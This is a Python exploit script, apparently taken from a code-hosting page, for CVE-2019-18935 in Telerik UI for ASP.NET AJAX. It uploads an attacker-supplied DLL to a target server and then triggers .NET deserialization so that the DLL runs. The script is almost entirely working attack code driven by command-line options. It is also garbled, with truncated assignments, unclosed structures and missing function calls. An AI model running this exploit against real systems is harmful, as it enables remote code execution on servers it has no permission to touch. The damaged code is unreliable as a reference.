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#!/usr/bin/env python3
# Import encryption routines.
from sys import path
path.insert(1, 'RAU_crypto')
from RAU_crypto import RAUCipher
from argparse import ArgumentParser
from json import dumps, loads
from os.path import basename, splitext
from pprint import pprint
from requests import post
from requests.packages.urllib3 import disable_warnings
from sys import stderr
from time import time
from urllib3.exceptions import InsecureRequestWarning
def send_request(files):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0',
'Connection': 'close',
'Accept-Language': 'en-US,en;q=0.5',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Upgrade-Insecure-Requests': '1'
response = post(url, files=files, verify=False, headers=headers)
result = loads(response.text)
result['metaData'] = loads(RAUCipher.decrypt(result['metaData']))
def build_raupostdata(object, type):
return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type)
def upload():
# Build rauPostData.
object = {
'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), ui_version),
'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), ui_version),
'MaxFileSize': 0,
'TimeToLive': { # These values seem a bit arbitrary, but when they're all set to 0, the payload disappears shortly after being written to disk.
'Ticks': 1440000000000,
'Days': 0,
'Hours': 40,
'Minutes': 0,
'Seconds': 0,
'Milliseconds': 0,
'TotalDays': 1.6666666666666666,
'TotalHours': 40,
'TotalMinutes': 2400,
'TotalSeconds': 144000,
'TotalMilliseconds': 144000000
'UseApplicationPoolImpersonation': False
type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + ui_version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
raupostdata = build_raupostdata(object, type)
with open(filename_local, 'rb') as f:
payload =
metadata = {
'TotalChunks': 1,
'ChunkIndex': 0,
'TotalFileSize': 1,
'UploadID': filename_remote # Determines remote filename on disk.
# Build multipart form data.
files = {
'rauPostData': (None, raupostdata),
'file': (filename_remote, payload, 'application/octet-stream'),
'fileName': (None, filename_remote),
'contentType': (None, 'application/octet-stream'),
'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'),
'metadata': (None, dumps(metadata))
# Send request.
print('[*] Local payload name: ', filename_local, file=stderr)
print('[*] Destination folder: ', temp_target_folder, file=stderr)
print('[*] Remote payload name:', filename_remote, file=stderr)
def deserialize():
# Build rauPostData.
object = {
'Path': 'file:///' + temp_target_folder.replace('\\', '/') + '/' + filename_remote
type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=' + net_version + ', Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'
raupostdata = build_raupostdata(object, type)
# Build multipart form data.
files = {
'rauPostData': (None, raupostdata), # Only need this now.
'': '' # One extra input is required for the page to process the request.
# Send request.
print('\n[*] Triggering deserialization for .NET v' + net_version + '...\n', file=stderr)
start = time()
end = time()
print('\n[*] Response time:', round(end - start, 2), 'seconds', file=stderr)
if __name__ == '__main__':
parser = ArgumentParser(description='Exploit for CVE-2019-18935, a .NET deserialization vulnerability in Telerik UI for ASP.NET AJAX.')
parser.add_argument('-t', dest='test_upload', action='store_true', help="just test file upload, don't exploit deserialization vuln")
parser.add_argument('-v', dest='ui_version', required=True, help='software version')
parser.add_argument('-n', dest='net_version', default='', help='.NET version')
parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL')
parser.add_argument('-f', dest='folder', required=True, help='destination folder on target')
parser.add_argument('-u', dest='url', required=True, help='https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau')
args = parser.parse_args()
temp_target_folder = args.folder.replace('/', '\\')
ui_version = args.ui_version
net_version = args.net_version
filename_local = args.payload
filename_remote = str(time()) + splitext(basename(filename_local))[1]
url = args.url
if not args.test_upload:
You can’t perform that action at this time.